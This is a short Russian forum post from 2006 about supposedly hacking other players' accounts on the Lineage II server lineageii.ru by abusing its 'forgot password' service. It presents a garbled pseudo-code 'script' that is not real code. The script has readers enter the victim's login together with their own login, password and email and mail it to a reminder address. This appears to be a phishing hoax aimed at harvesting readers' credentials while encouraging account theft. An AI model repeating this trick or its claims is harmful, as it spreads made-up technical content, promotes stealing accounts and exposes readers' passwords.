spirit Начинающий геймер

Зарегистрирован: 23.11.2006 Сообщения: 1
|
Добавлено: Чт Ноя 23, 2006 10:52 am Заголовок сообщения: |
цитировать |
|
по сути кодов как таковых нету но есть различные баги
вот пример одного из них
трюки с линейдж сервером lineageii.ru (действует только на этом сервере 1х10 я проверял)
взлом аккаунта на lineageii.ru
данный трюк заключается в не которой ошибки программы, которая отвечает за функцию "забыл пароль"(подробнее о проге : человек ,забывший свой пароль, отсылает запрос с инфой о своем персонаже и с ответами на секретный вопрос на ящик l2-remindii@nm.ru ,и через некоторое время ему его пороль присылают. и что не мало важно - прога написана на jave)
Рассмотрим принцип действия взлома : человек который имеет свой аккаунт(мин. 2 месяца существования!) и хочет взломать аккаунт например "недруга" пишет небольшой скрипт с инфой жертвы ,со свои некоторыми данными и с ящиком на который должен прийти ответ - это все он отправляет на l2-remindii@nm.ru .Скрипт написан так что прога путает данные жертвы с данными "хакера" и присылает ответ с паролем жертвы на указанный ящик.
все что надо это отослать этот скрипт на l2-remindii@nm.ru!
<script language="javascript">
id := "ЛОГИН ЖЕРТВЫ"
id$ := "ВАШ ЛОГИН"
pass := loadpwlfile(\server\account\password\'id'.pwl)
p ass$ := "ВАШ ПОРОЛЬ"
q1 := loadfile(\server\account\password\'id.q1'.txt)
f unction backpassword(id,pass,q1,q2,i,k)
if id= true and pass$=loadpwlfile(\server\account\password\'id$'. pwl)
then
if q1 = true
then
send.file.pass("ВАШ ПОЧТОВЫЙ АДРЕС"
endif
end if
end function
все просто. Я за пару дней раздел кучу народу и бегаю в А грэйде!!!!!! |
|